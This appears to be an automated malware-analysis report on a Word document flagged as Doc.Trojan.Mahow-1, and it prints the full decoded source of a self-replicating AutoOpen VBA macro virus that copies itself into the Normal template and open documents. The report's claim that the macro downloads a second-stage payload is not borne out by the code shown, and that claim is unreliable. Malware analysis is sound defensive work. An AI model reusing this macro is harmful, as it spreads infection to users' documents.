Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 e9569c05f2b44874…

MALICIOUS

Office (OLE)

37.0 KB Created: 2004-10-14 18:04:00 Authoring application: Microsoft Word 10.0 First seen: 2012-06-14
MD5: ad15be16db8136a19b4d750f2a848080 SHA-1: 6148bf11446ac3a06fe81dfd0198b6af8ffb09dc SHA-256: e9569c05f2b44874694e4fe06463a55eaf6d2262b27ecd8b54967e2a6300e335
200 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains a critical ClamAV detection for Doc.Trojan.Mahow-1, indicating known malicious content. It also features an AutoOpen VBA macro that attempts to export and re-import its own VBProject component to a temporary file, likely to obfuscate its presence or prepare for further execution. The macro's intent appears to be downloading and executing a second-stage payload, as suggested by the export/import functionality and the generic nature of the document body.

Heuristics 4

  • ClamAV: Doc.Trojan.Mahow-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Mahow-1
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1918 bytes
SHA-256: 1a58f0ddbcdcbbc4ae3ae2061700f3987eb65caaf717ced3ad0bd32e65c39378
Detection
ClamAV: Doc.Trojan.Mahow-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "WoHam"
Sub AutoOpen()
On Error Resume Next
If NormalTemplate.VBProject.Description = "WoHam" Then GoTo Done
NormalTemplate.VBProject.Description = "WoHam"
Set aebCxZhU = NormalTemplate
Set aebClJKj = aebCxZhU
Set HcXzCccF = aebCxZhU
Set XzWqHKok = aebCxZhU
'''''''''''''''''''''''''''''''
Set itogfkfl = ActiveDocument
Set ptohkofk = itogfkfl
Set ooorptty = ptohkofk
Set XzWwwqqd = ooorptty
'''''''''''''''''''''''''''''''
Const ooooiiiiii = "c:\tmpo.txt"
Dim gFDFddSDxsxSD, gFDssSSsASSde, UYrRfdreD As Balloon
Const ounfbdvfxdv = ooooiiiiii
Dim GgFDFddDxsx, gFDsssASSde, UYrtFreD As String
Const ptotpdnzjdj = ounfbdvfxdv
''''''''''''''''''''''''''''''''
Const CzXCddDDRf = "WoHam"
Dim GgFDFddDSDxsxSD, gFDssSSsssASSde, UYrtFRfdreD As String
Const CzXCddoepf = CzXCddDDRf
Dim GgFDFddDxsxSD, gFDssSSsssde, UYrtFRfdrD As String
Const CVxWdDcFFv = CzXCddoepf
Dim GgDFddDSDxsxSD, gFDsSSsssASSde, UYrtFRdreD As String
Const CVOOBvVcvX = CVxWdDcFFv
''''''''''''''''''''''''''''''''
Dim ghGHgGdfDdFdDdfgdrdDRDrdRDRTdrtdrtDD, ghFGdFDDssDssSDSDsd
Const gFDsHHHGfgFddfe = CVOOBvVcvX
Dim ghGHgGdfDdFdDdFfgdrdDRDrdRDRTdrtdrtDD, ghFdFDDssDSssSDSDsd
XzWwwqqd.VBProject.VBCOMPONENTS(CVOOBvVcvX).export ptotpdnzjdj
Dim ghGHgGdfDdFdDdFfgrdDRDrdRDRTdrtdrtDD, ghFGdFDssDSssSDSDsd
XzWqHKok.VBProject.VBCOMPONENTS.Import ptotpdnzjdj
Dim ghGHgGdfDdFdDdFfgdrdDRDrDRTdrtdrtDD, ghFdFDDsssSDSDsd
Done:
If ActiveDocument.VBProject.Description = "WoHam" Then GoTo DocDone
ActiveDocument.VBProject.Description = "WoHam"
ActiveDocument.VBProject.VBCOMPONENTS.Import ptotpdnzjdj
DocDone:
End Sub